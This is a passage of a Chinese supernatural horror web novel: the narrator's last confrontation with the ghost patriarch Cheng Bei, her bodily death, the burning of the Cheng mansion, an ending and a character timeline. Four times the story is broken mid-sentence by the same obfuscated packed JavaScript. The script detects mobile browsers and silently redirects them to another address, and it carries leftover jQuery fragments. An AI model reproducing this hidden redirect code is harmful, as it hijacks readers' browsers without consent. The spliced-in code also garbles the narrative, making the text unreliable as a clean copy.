大火越烧越旺,势如破竹一般迅速席卷了整座宅子。我看见朱门黛墙像多米诺骨牌一样迅速倒塌,我听见宅子里此起彼伏的呼救声。一股巨大的恐惧攫取了我的心脏,当我意识到我已经做了什么之后一切都来不及了。 我也跌落在大火里,不是想象中的炽热滚烫,反而带着久违的温暖,如暖洋洋的阳光一般。 “姐姐,醒醒!” “老师!” 我迷迷糊糊睁开眼,发现自己又回到了宅子里。程翠和袁宋正一脸担忧地看着我,和尚攥着牌位倒地不起,蔡思琪和宁雪捂着头上的伤口,望向我的时候有十足的怨气。于是我注意到他们包括和尚在内身上都多了不少伤口。 “发生什么了?你们怎么都受伤了?”我急忙从地上爬起,此时天已经亮了,长生烛竟然还在燃烧着。 蔡思琪立即张嘴想说些什么,但最终只是狠狠地瞪了一眼程翠和袁宋。 “老师,这事说来话长。” 据袁宋所说,昨晚行胜法事做得好好的,不知道我突然发了什么疯,抄起椅子对他们就是一顿拳打脚踢,一脚踢了牌位,一把夺过了长生烛。程翠年纪最小又最瘦弱,被我一椅子打倒在地差点爬不起来。所有人都被我打了个遍,再愚钝也能猜出来我出了问题。他们也想过对我反击,不过行胜不同意,而且椅子也只有一把。我的力气很大,势头又不减,想要近我的身很不容易。最后我大概是体力不支,自己昏迷了过去。 袁宋描述得事无巨细,听得我是羞愧万分。最后我只能看着程翠瘦弱的身板,沉默半晌说了一句:“你以后还是要多吃一点。” 蔡思琪不耐烦地打断我:“你为什么会发疯?” 我叹了口气:“因为我去过宅子,不可避免地被同化了,说不准出去后还会变成精神病呢。如果真的那样,你们一定要将我控制住,然后报警把我交给我爸妈。” “那我爸呢?”袁宋心里咯噔了一下,显然是没想到被同化后会变成如此疯狂的模样。 “别想太多,至少我看见他的时候他还是正常的,”我不痛不痒地安慰了一下袁宋,又同众人说起了我昏迷时的遭遇,“其实不算是昏迷,我只是被困在迷局里了。你们看我是疯子,但在我的视角里,你们也同样如此。” 当我讲到宁雪处理冷冻肉那一副场景时,宁雪瞪大了本来就很大的眼睛,又不由得搓了搓胳膊:“你说得我毛骨悚然的,我可不是变态。” “我有那么凶恶吗?我觉得我还挺温柔的。”蔡思琪也对我的描述感到不满。 袁宋没发表意见,行胜依旧躺在地上昏迷不醒。 “姐姐回来就好了。”只有程翠一点都没有怪罪我的意思,我对她的愧疚又多了几分。 “所以法事没有成功?”我心中忐忑不已。 “大概是,”袁宋皱了皱眉,随即又舒展开来,“不过老师恢复正常就好了,不然我们也不知道该怎么办。” 我垂眸思索了一会儿,按照档案中的经验,今天非程家人应该能出去了,所以程碑一定会出现。于是我问他们是要去饭堂吃可能不会再有准备的饭菜,还是留下来见程碑。 程翠和袁宋都想留下来,行胜昏迷了只能留在这里,只有蔡思琪和宁雪考虑了一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156091|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才答应留下来。一顿饭不吃不要紧,把握出去的时机才是最要紧的。 饭点时间一到,程碑果然准时出现。看见我们这么多人站在厅堂的时候,他先是微微一愣,随即又笑了起来:“没想到还剩了五个,还不错。” 然后他又看向我:“想好了吗?要不要做我的继承人?” “神经,”我骂了他一句,“我是人,谁吃饱了撑的主动去当鬼。” “啧啧,你这丫头我本来是最看好的,谁知道这么没有礼貌,还偷走了我的东西,太让我失望了。” 我觉得被他看中才是最大的不幸,他当时那么器重大小姐,如今她的后人就站在他面前,也不见他手下留情。 “哦,你就是程翠啊,过来一点,让我看看。”程碑现在才注意到程翠,眯着眼睛招手让她上前。 程翠犹豫着不知道该不该上前,我立即伸手拦住了她,抬头直视着程碑:“她就是大小姐的后人,如假包换,你要是真的在意过程翠,就应该放过她的后人。” “文青丫头真是,”程碑笑着摇了摇头,“她如果愿意回到宅子里来,我一定让她住翠的屋子。” 破屋子谁稀罕?我忍不住翻了个白眼,替程翠拒绝了程碑的格外优待。世上难找这样的祖宗,还不如我的一根手指头。一想到手指,我对程碑的恶心就又增加了一分。 “怎么才能放我们出去?”蔡思琪开口了。 程碑不甚在意地瞥了她一眼:“文青丫头没和你们说过吗?程家人就是要回归程家的,为程家奉献是你们的责任。” 听到程碑提起我,我忍不住在心里骂他:死老头,都这个时候了,还不忘来一句挑拨。所幸蔡思琪根本不关注这个点,她只说她不愿意,宁雪也是这样说的。 “那我爸呢?他不是程家人,可以离开吗?”袁宋接着问道。 程碑摇了摇头:“不可以,他已经快成宅子的一部分了。” 袁宋瞬间脸色煞白,过了半晌才嗫嚅着开口:“那我呢?我能出去吗?” 我心中感叹他终于实在了一回,能出去一个是一个,他本身就是被我牵连进来的,早早出去也好。 “可以,我现在就让管家带你出去。”程碑招了招手,管家就从走廊里走出,伸手给袁宋带路。 “老师。”他犹豫地看向我,我不耐烦地摆了摆手让他赶紧先走。我不想连累别人,何况我还要和程碑对峙。 程碑笑着邀请我们进去参观正宅,他的语气温和,却不给我们拒绝的机会,鉴于他的能力和求生的一丝期待,我们只能跟在他身后走进宅子。不过这次打开的不是厅堂的大门,而是那扇明显的雕着花纹伫立在走廊最深处的大门。 这才是正门,从这里走进,就代表我们被程家彻底接纳了。 “我能不走这扇门吗?”我刚抗议了一句,就被程碑一袖子挥进了正宅。 16. 生还 进了宅子,我们就被分别关进了一格一格的房间,像极了板隔间的牢狱。所谓的邀请只是客套之言,程碑这次是真的要我们的命了。 “夏老师,你还好吗?”袁怔就住在我的隔壁。 “我不好,今天是最后一天了,如果还不能出去,我就真的要死在这里了,”我愁眉苦脸地在房间里徘徊了一圈,又靠近墙壁询问袁怔,“你发现什么了?” “今天袁怔就要把我们的肉|体献祭给那些黑色的东西了,然后我们就会彻底留在宅子里。”袁怔在这段被关的时间里通过和那些魂灵交流获得了不少的信息,原来所有的规矩均有它的来处和意图。 据他所说,程宅每隔五年就会开放十天,目的就是吸引有程家血脉的人聚集到这里用来牺牲。黑祟和程宅是共生关系,宅子只要魂灵,黑祟便吞噬掉血肉。黑祟一直被关在宅子里,但因为喜食血肉对活人的气息十分敏感,活人进了宅子又不能立即被吃掉,所以程碑才会让这些闯进来的人住在前院里并且嘱咐他们不要随便开门。 程碑会在每天早上来到厅堂查看昨晚剩下的人的名单,管家则会在饭点带着长生烛来到前院送饭,所以才会有安全时间和非安全时间的区分。十二人活一的说法只是因为活下来的人太少,而且活下来的人中大多只有一个精神正常。为了争夺唯一的求生名额,以前还发生过一些互害事件,这次的程婆婆就是如此。当然,这样的结果是程碑乐意看到的,自然有他的手笔参与。 我不由得感慨,程碑不愧是以前的大家长,手段就是狠辣,布局也多。如果不是这样的契机,我恐怕一辈子也很难和这种人有同台对峙的机会。 “袁宋已经被管家带出去了,你当年也是这样出去的吗?”我问袁怔。 “是。谢谢。” 我摇摇头:“是我把他带进来的,我应当带他出去。” “那程翠怎么样了?” “程翠受伤了,程碑并没有放过她的打算。”我把昨天的事和他讲了,包括自己被同化的事。袁怔那边沉默了半晌,最后才叹了一口气。 “是我做错了,我不该把她带来的。不仅没有解决宅子的问题,反倒把我和她都栽进去了。” “你的思路没有错,”我简单安慰道,“程碑老奸巨猾,五年前说要你找到程家后人就是一个模棱两可的坑。你以为可以借助后人终结这里,没想到他只是想让你帮他寻找更多的牺牲品而已。” 这个时候我突然意识到一个问题,为什么每五年总会有程家后人因为各种各样的原因来到上襄镇?或许袁怔的经历可以解释这一点。既然每五年的一次献祭中总有一个人能精神正常地离开,那他为了摆脱这场噩梦会不会做程碑的怅鬼引诱更多人踏入火坑? 我是因为患病后经人介绍来到上襄镇休养;蔡思琪情侣二人是被推荐来市里旅游,上襄镇是必经路线;宁雪是来参加同学婚礼,问路后被指引到这里的。其他人我不清楚,至于程翠和行胜,他们都是明知宅子有问题才来的。或许没有冥冥之中,也没有阴差阳错,一切都是算计好的而已。 历经百年,走出这间宅子的至少有十几个人,他们会有后代,也会有遍布全国的足迹。如果当时程碑曾经给他们许诺过什么,或是和他们达成了合作,利用他们去找寻程家后人,那每五年前赴后继的牺牲就说得通了。掺杂着血脉的势力和思想总是同野草一样即使被野火烧过也会“风吹又生”。 于是我面上带了一点讽刺的笑意:“你说,袁宋会不会走你的老路?” “一条永无终点的路吗?” “不会,等到程碑大功告成,这条路也就到头了。” “夏老师,我们得离开这里,”袁怔那头顿了顿,“至少你和程翠得离开这里。” 我不喜欢听这种话,行胜、袁怔和程翠,他们这类人总是这样。他们都坦然接受着自己的死亡,以为牺牲自己就能换别人活一样。他们表现得那样自我奉献大义凛然,把我衬托得格外利己自私。尽管我是如此,但就这样被赤裸裸地展现出来还是让我不爽。 识时务者为俊杰,袁宋就不错。他不也曾眼泪汪汪地想冲进宅子,最后却成了第一个走出去的人。 “可惜法事没有完成。”袁怔又冷不丁说了一句。 当然完不成,这本就是一个矛盾的局。要取得牌位就得先进宅子,进了宅子就会不可避免地被同化然后以异化的状态中断法事。所以昨晚根本不是我的错,我只是为了自保而已。 只能等到献祭了,不过我临走时将长生烛带在了身边。万一黑祟进来,我还能用它抵挡一二。 然后我的门开了,程碑发现祠堂少了长生烛,前来找我索要。 “你知道这根蜡烛为什么能保护你不被吃吗?”程碑笑着问我。 “为什么?” “因为它里面掺杂了我的尸油,黑祟不会伤我的,所以也不会伤你。”程碑的语气是如此平淡,我却听得毛骨悚然。不是手指就是尸油,没想到我清清白白的一个良好公民,却和程碑的尸体这么大缘分。 “你要我的魂没有用,你仔细去听听被关在这里的魂灵说的话,他们并不信服你。你作为程家的家主,如果不能得到程家人的信任,即使程家复兴又能怎么样呢?照样会走向衰败的。” 程碑打量着我一时没说话,过了许久才悠悠开口:“我想知道你到底要什么,你明明什么都没有。钱财、权势甚至长生,难道没有一样能让你动心吗?等到程家复兴,我们确实不能拥有活人的肉|体,但我们可以进入活人的生活,甚至可以掌控他们。” “你要知道,无论是活人世界还是死人世界,权钱都是共通的。你在人间做皇帝,死了在地底也能做皇帝,”程碑越说越癫狂,脸上褶子因为笑意也越来越深,“我在这里听过你们人间讲的自由,但你们真的能自由吗?当你们一辈子都在为生计奔波、为了节省永远不敢享受时,你们自由吗?” 我越听眉头皱得越紧,就冲他这一番话,我觉得他很有做传销的潜力。而且该说不说,他抛出的橄榄枝很有诱惑力,这些不都是大家在追 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156092|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求的吗?我只是一个普通人,面对这些东西怎么可能会不动心? 我的沉默达到了程碑想要的效果,他想游说我心悦诚服地加入到他的事业中来。但是如果我有选择,我还是不愿意。 “为什么,为了虚无缥缈的自由吗?” “我知道世界上没有完全的自由,但自由并不是虚无缥缈的。我就是一个现实的普通人,你说的那些东西我能得到多少,少了我不甘心,多了我又承受不起,而且你能确定程家就此复兴后再也不会败吗?” 他是旧时代的人,即使活到了新时代,但思想却彻底死在了过去。对于这样的人,我不想说服他。 于是他恼羞成怒地要先拿我去献祭。 怎么才能斩断程碑和黑祟的联系呢?我先前的思路是将它们分离,但现在,我突然想到了另一种可能性,那就是破坏它们的合作。黑祟虽然被压制在程宅,但它到底是未知生物,本身的力量比程碑要强些。 被带离房间的途中,我咬破了自己的中指,用我的血沾满了程碑的那截手指,然后在黑祟靠近我的那一刹那将手指猛地丢了出去。黑祟是吃血肉的,可那是程碑的手指。当原本合作的一方压过另一方,它们之间的联系就会破裂。我看着程碑脸色铁青的模样感到无比畅快,即使我也在将死的边缘,因为手指上也沾染了我的鲜血。 被黑祟吞噬的感觉似曾相识,我想起了程婆婆中邪的那一瞬,不过程婆婆是被宅子的怨念附身的,而我是被黑祟吃掉的。被吃掉的过程其实也不痛,只是血肉和骨头烂作一团而已。 我在关键时刻破坏了程碑和黑祟的合作,程碑因为失去了黑祟带给他的强大力量,很快就失去了对宅子的控制,而程宅因为失去了黑祟这个“复生”的基石,很快也迅速衰败下去,成为一堆破墙烂瓦。但我们还是不能离开这里,即使我成了魂灵。 这时候,我看见一点火苗从宅子某处燃起,很快就演变成熊熊大火。我正纳罕着火是怎么升起的,就看见程翠在火光中的身影。 “程翠!”我朝她大喊。 程翠听到了我的喊声,脸上带着笑意朝我奔过来,然后一把扑到了我的怀里。 “怎么会这样?”我还没有搞清楚状况,这时袁怔捂着脑袋,和行胜一行人迅速向我这边靠拢。 “出去再说。” 程翠这个最“正统”的程家人烧毁了程宅,自此宅子彻底消失。 解脱的魂灵即将奔赴冥河,在离去之前,它们回头望了一眼这断壁残垣,我看见它们的神情中有遗憾,有仇恨,有快活,还有解脱。 “哈哈,我见过你,你就是从祠堂里跑出的那个姑娘。”有人大笑着指着我大步离去,有人多看了我几眼却没有说话。 “你怎么会……”我刚开口,忽然就想起了我在“中邪”时看到的场景,确实是程翠点的火。 程翠抿唇笑了笑:“是高祖母留下的火种。和你们分开后,我就被关进了高祖母的房间,然后我看见了她的笔记。她说天行有常,旧时代必将灭亡。” 17.结局 笔记中讲述的故事是一个和我们记忆中不太一样的版本。 程碑虽喜爱程翠这个大孙女,但一开始也只是长辈对小辈的喜欢,并没有将家业托付的意思。他作为长辈虽温和,但在挑选继承人上却严格非常,八个孙辈中竟无一人满意的。他常对人说,这世道来的去的,最终都成过眼云烟,因此多有遗憾。 那是一个社会剧烈变动的年代,新事物已经遍地开花,但旧事物仍然固若顽疾,有志之士远赴重洋,希望学习新事物归国自立一番。程翠早慧,在男女俱读的新式学堂读书,旧书也学,新书也学,再看这世道难免心有郁结,便在二十岁时向祖父申请去了西洋留学。 后来祖父程碑告诉她,他是在她决意退婚时看重她做继承人的。当时程翠才十八,有地方望族前来替家中男子求婚,说两家曾在两小儿小时玩笑许诺姻缘,因有小时候的情分在,长大即使来往不多也可结为夫妻。男方家不弱,男子也不是无貌无德之人,这样的消息在两家看来是很好的亲事,但程翠坚决不同意。她冷眼瞧着那家虽富裕却是死气呆板之象,男子只是嘴上说着为国志向实际上是一个再平庸不过的人。为谢绝这门亲事,她拿了双方生辰借算命之口说自己二十八后才能结婚,否则便会害了夫家,男方等不及才作罢。 程家其他人并不明白她的做法,说她年纪小看人看事哪有准的,更有甚者说她背弃的,如果舍了这桩姻缘,将来未必能找到更好的。只有程碑不以为然,反而看中她为人有主见眼光又长远,自此对她多栽培,后听说她要去西洋留学,不像她父母一般不舍,十分高兴地送她去了。 程翠虽出生在富贵人家,但腹有诗书又明眼通达,意识到程家连带着旧时代的覆灭都是不可避免的结局,难免在程碑面前说了一些违他心的话,程碑因此不喜。她也操持过家业一段时间,察觉出程碑同和尚的几分打算来,思虑前后留下这本笔记和火种。程碑死前将她调到外省也不全是为她,更多的是为确保这个复生的仪式不出纰漏。 “老太爷对高祖母的情感很复杂,既怨又惧还有不舍。”小程翠总结道。 如果是在昨天,我可能还会讽刺一番程碑,但现在我的脾气和力气已经在程宅里耗尽了,因此一个字也说不出来。而且我记得我已经被黑祟吃掉了,如今应当只是鬼而已。 没想到众人还是看得见我,宋梅平和袁宋正站在宅子外等待,见我们出来忙走上前看顾。程翠看着我与她阴阳相隔忍不住流泪,蔡思琪和宁雪手牵在一块儿只觉得后怕,行胜垂眼站在一边静默不语,袁怔从怀中掏出护身符还给了行胜:“谢法师相救。” 宋梅平和袁怔说了两句话,见他无碍便将目光向我身上投来。她见到我时先是一愣,随即皱了眉头快步朝我走来,语气很是迟疑:“夏老师,你怎么成了这样?” 众人都看向我,他们虽然知道了大火的来源,但还不知道程碑和黑祟为何突然翻了脸。我低头看了看自己的双手,心中只留下了悲苦和惧怕。想我一个向来事不关己的平庸之人,在程宅却做出那么多冒险大胆的事,以至于把自己弄成这个样子。 我当然是不想死的,但如今已经由不得我了,只是在回归冥河之前我想再见父母亲友一面,再不舍作别一番后也该走了。眼睛涩得厉害,我摸了摸自己的脸,原来鬼也是会流泪的。 “帮我通知我的父母吧。”我哽咽着说。我想父母接受我的死亡肯定要费一番波折,毕竟我尸骨无存。 “姐姐。” “老师。” 是程翠和袁宋在喊我,我只是摇摇头不再发一言。这时宋梅平拉住了我:“先等等,你总该告诉我们发生了什么,或许我们有办法帮你。” 我已经泪流满面,张了半天的嘴却说不出话。他们理解我一时难以接受自己的死亡,也不催我,直到我心情渐渐缓和下来才和他们讲了我同程碑的最后一次见面。 听完我的讲述,宋梅平率先点了点头:“你的选择没错。如果你听了他的话,最后多半也只是一个牺牲品而已。” “可是那个时候你就不怕激怒他吗?”宁雪插话问我。 我摇了摇头:“当然怕,但横竖都是一死,为什么要顺他的心呢?”其实我只是不想让他好过,而且人死总要拉个垫背的,我这样想着,但是没有说出口。 他们开始讨论起救我的办法,但我的肉身已经被黑祟吞噬,如果要救活我,必须得让黑祟把我的肉身吐出来。如今程宅已毁,黑祟不知道逃去了什么地方,要找到它尚且需要花费一番功夫,更何况还要让它归还我的身体。可是这是目前唯一能救我的办法,无论如何我也要试上一试。 黑祟现世对于非管所来说是一件大事,所以即使没有我的缘故,他们也会派人来追寻它的踪迹,而我只需要跟着他们一起行动就好。 “一起回去吧。”大家都同我如此说,只有袁怔的意思是带我回非管所,我同意了。 后面的事情虽然有一些波折,但总体上来说还是很顺畅。和大家道别后我就跟着袁怔去了那神秘的非管所,所里的人都是和袁怔一般的普通人模样,从外表上根本看不出他们竟然个个身怀绝技。为了护住我的魂灵,他们让我没事就待在所里,又给了一个法器让我随身携带。我接受得心安理得,毕竟协助稽查员处理了一桩陈年档案,我可是有很大功劳的。 找到黑祟不是一时之事,就这样我留在了非管所,不是随便翻翻不甚重要的资料就是和档案员聊天。所幸黑祟被寺庙和程宅抑制太久,又吞噬了程碑的灵魂遭到了反噬,现今至少需要半年的时间休养。虚弱虽然阻挡了它作恶的可能,但同时又让它无法轻易现身,无形中加大了稽查员搜寻的难度。我听着他们的讨论,心中感慨世间万物果然在有生同时又有制,程宅是如此,离开了程宅仍是。 我父母果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15227967|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真因为我的失踪报了警,不过在非管所的协调下,他们经历了好一番思想波折才接受了我肉身已死的事实。他们泣不成声,看得我心里也十分难受,不过我还是一直劝慰他们,又拒绝了他们留在非管所附近照看我的打算。 “你们是活人,我是死人。死人不用吃喝,你们就算守在我身边对我也没有帮助,反而可能因为沾了我的气息对你们不好。而且你们现在能看到我是他们用了法器后的特殊情况,以后也是看不见我的,”面对他们担忧不舍的神情,我又编了一个谎言来宽慰他们,“如果你们真的为我好,就好好保重自己,每天再给我上三柱香就好了。” 他们忙不迭答应了,又神情怔忡地搭了火车回老家。香火是我胡诌的,我的状态非死非活,并不是常规的鬼魂,这香火对我来说自然没有什么作用。我只告诉了父母我的真实情况,至于其他亲人和朋友,他们有的对我并不在意,有的即使察觉到我的异常也不知道该怎么找我,毕竟我和她们在毕业后就已经天各一方。 袁怔给我看了《上襄镇古宅档案》(上),那是他根据前人经验以及自身上次的经历整理出来的。 【已知信息(可能有变动): 1.房间内绝对安全; 2.走廊和饭堂只有在特定时间内安全; 3.厅堂的安全时间和饭堂完全相反; 4.拴好门栓,警惕它的模仿,无论如何不要开门; …… (笔记:带她见到老太爷或可终止古宅)】 袁怔用手指了指笔记中的“她”字:“找到程翠的时候,我以为这个‘她’找到了,没想到竟然是你。” 我摇头笑道:“其实还是程翠,大小姐给她留下了火种,这桩案子总该由她去了结的。” “但是如果没有你,恐怕不能有这么多人平安活下来。等到程翠烧了宅子,我们估计都要变成一堆白骨了。”袁怔苦笑着补充了一句,我只看着档案若有所思。 后来袁怔找我合作补充了《上襄镇古镇档案》,这次记录的是完整版,包括程宅的前尘和我们个人的经历。档案编写人也留下了我的名字,袁怔说他想保举我加入非管所。我意外地看了他一眼,很快就明白了原因。非管所里的人都或多或少有着和魂灵打交道的特殊本领,作为活人的我当然没有资格,但我现在非人非鬼,特殊的身份能让我做一些活人做不到的事。 姜还是老的辣,当初在程宅我就被当成了试验品,如今还要把我这半残不残的人利用一番。我虽然心里这样想着,却面上笑着答应了他。我当然不是一个有奉献精神的人,加入非管所也不是为了除邪渡鬼的大义,只是因为稽查员的福利待遇还不错,而且我也对这样的东西起了些好奇和冒险之心。 六月廿九,我同接见我的领导握了手,以非管局唯一一个魂灵的身份。 “文青同志,欢迎加入非管所。” 18.时间线梳理[番外] 第一天:和尚行胜,南1,程家超度法师如庸弟子;程婆婆,南2,程家旁支后代,死亡 第二天:未知,南3(封),死亡;宁雪,南4,青年女,程家旁支后代 第三天:未知,南5(封),死亡;杨菊,南6,中年妇女,死亡 第四天:狄堂,北1,情侣男,死亡;蔡思琪,北2,情侣女,程家旁支后代 第五天:我(夏文青),北3,程家旁支程学英后代;袁宋,北4,学生 第六天:袁怔,北5,学生父亲,稽查员;程翠,北6,少女,程家嫡系程翠(老太爷大孙女)后代 第七天:交流程家情报;程婆婆被附身;程婆婆、狄堂和杨菊死亡 第八天:我和袁宋见到老太爷;行胜没有现身;袁怔进入宅子;宁雪和蔡思琪同意合作,五人待在厅堂 第九天:我和老太爷谈判,进入主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15227968|164941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅;我见到被同化了一部分的袁怔,带回牌位和长生烛;我得知行胜的身份,要求其做法;我被同化,出现异化幻觉,众人被我殴打受伤;我晚上进入幻境,见到下襄镇及程家众人,成功逃离 第十天:献祭开始,袁宋最先离开程宅;我和程碑最后一次见面,中断程碑和黑祟连接,肉身死亡;程翠终结程宅;最终存活行胜、宁雪、蔡思琪、袁宋、袁怔、程翠、夏文青(仅魂灵)七人